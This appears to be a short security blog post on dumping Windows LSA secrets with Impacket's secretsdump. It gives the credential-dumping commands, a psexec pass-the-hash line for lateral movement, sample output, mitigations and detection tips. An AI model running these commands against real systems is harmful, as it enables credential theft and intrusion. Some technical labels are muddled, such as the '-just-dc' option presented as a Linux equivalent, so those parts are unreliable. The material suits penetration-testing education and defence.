LSA Secrets: Revisiting secretsdump

Listen to this Post

Featured Image
LSA (Local Security Authority) secrets store sensitive information such as cached credentials, service account passwords, and other authentication data in Windows systems. The `secretsdump` tool from the Impacket library is a powerful utility for extracting these secrets, often used in penetration testing and red team engagements.

You Should Know:

Extracting LSA Secrets with secretsdump

To dump LSA secrets from a compromised Windows machine, use the following command:

secretsdump.py DOMAIN/USER:PASSWORD@TARGET_IP

If you have NTLM hashes instead of plaintext passwords:

secretsdump.py -hashes :NTLM_HASH DOMAIN/USER@TARGET_IP

Key Secrets Extracted

  1. Cached Domain Credentials – Used for offline attacks.

2. DPAPI Secrets – Helps decrypt user data.

  1. Service Account Passwords – Often reused across systems.

Post-Exploitation Steps

After dumping secrets, use them for lateral movement:

psexec.py DOMAIN/ADMIN@NEW_TARGET -hashes :NTLM_HASH

Mitigation Techniques

  • Disable LSASS Caching:
    Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "CachedLogonsCount" -Value 0 
    
  • Enable LSA Protection:
    Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPL" -Value 1 
    

Linux Equivalent (Mimikatz-like)

For Linux-based attacks targeting Windows:

python3 /opt/impacket/examples/secretsdump.py -just-dc DOMAIN/USER:PASSWORD@TARGET_IP 

What Undercode Say

LSA secrets remain a goldmine for attackers due to weak default configurations. Regularly audit LSASS permissions, restrict debug privileges, and monitor for abnormal access patterns. Tools like `Sysmon` and `Windows Defender ATP` can detect `secretsdump` activities.

Expected Output:

[] Dumping LSA Secrets 
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:320B... 
DPAPI_SYSTEM: dpapi_machinekey=0x1234... 
[] Cached Domain Credentials 
DOMAIN\User:CACHE_HASH 

Prediction

Increased adoption of LSA Protection (PPL) will force attackers to shift towards other credential theft techniques like shadow copy extraction or kernel-mode attacks.

Reference: Synacktiv – LSA Secrets

References:

Reported By: Florian Hansemann – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

Join Our Cyber World:

💬 Whatsapp | 💬 Telegram